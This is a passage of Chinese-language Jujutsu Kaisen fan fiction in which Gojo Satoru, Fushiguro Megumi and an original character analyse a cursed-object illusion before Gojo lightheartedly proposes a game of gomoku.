伏黑惠皱着眉,“所以如果想要所有人平安离开这个幻境,我们只能够顺着百年前的‘剧本’演下去,找出这个幻境最想要重现的是什么,应该就能够顺藤摸瓜找到所谓的阵眼,解除幻境,回收咒物。” 五条悟换了个姿势托着下巴,又岔开了个话题:“时雨,你刚才说你在幻境中的身份叫什么名字来着?犬村雏衣?犬村在百年前,是什么大姓吗?” “我明白您的意思——从这间屋子里遍布的人偶来说,犬村雏衣很可能与当初的人偶师犬村仪清存在类似亲属关系的关联。”时雨思索着,“这么说来,我们真的只是随机被选中投射到了这几个人物身上来吗……一个幻境里,最靠近核心角色的任务和环境,应该是最消耗咒力的,所以我们目前所在的犬村家,也很有可能是幻境里很重要的一环……” “您说的是。”伏黑惠也站在时雨身侧,沉吟着。 “好啦好啦。”五条悟不知道什么时候起了身,一左一右分别给了两人一个暴栗,在时雨和伏黑惠两人双双捂着额头瞪向他的眼神里禁不住笑出了声。 “一个两个都板着个脸,超级少年老成诶——!惠刚才说的没错,既然是一个重现真实过往的幻境,那对于借助咒物设下幻境的人来说,这段记忆一定有着什么重要的意义。所以,我们只需要耐心等待剧情的走向,就能够找到破局的点了嘛。” 他伸了个懒腰,“伊地知传来的报告里,那些因为‘失魂’陷入昏迷的人类,都是在失踪了两天之后,才重新神志不醒地被其他路过的村民在幻镜入口附近发现。” 伏黑惠双手环抱着继续分析:“所以,我们应该会有四十八小时的时间,来破除这个幻境,避免和他们一样被更持久地困在这个幻境中?” “比起这个,我还有一个更在意的——”时雨若有所思地盯着窗外那片盛大的樱花林。 这片异常盛开着的樱花林,又代表着什么呢? 五条悟像是大猫巡视着自己的领地一般,在整间屋子里游荡了一圈,最后在角落的一个柜子前蹲下身,兴奋地拍了下手,“找到啦!” “什么?”伏黑惠和时雨异口同声,好奇六眼发现了什么线索。 “锵锵——”那个号称咒术界最强的男人从柜子底部掏出了一个木质的棋盘,兴奋地朝两人展示着,“反正都要打发时间,不如就进入到和五条老师的超难得五子棋时间吧!谁要先来~” 时雨和伏黑惠两人面无表情地看着忽然兴奋起来的五条悟,沉默两秒,又纷纷低下头继续讨论刚才的幻境剧情分析。 伏黑惠:“忽然情绪高涨的大人真可怕。” 时雨:“这一点同感。” 五条悟:“……我听得到哦。”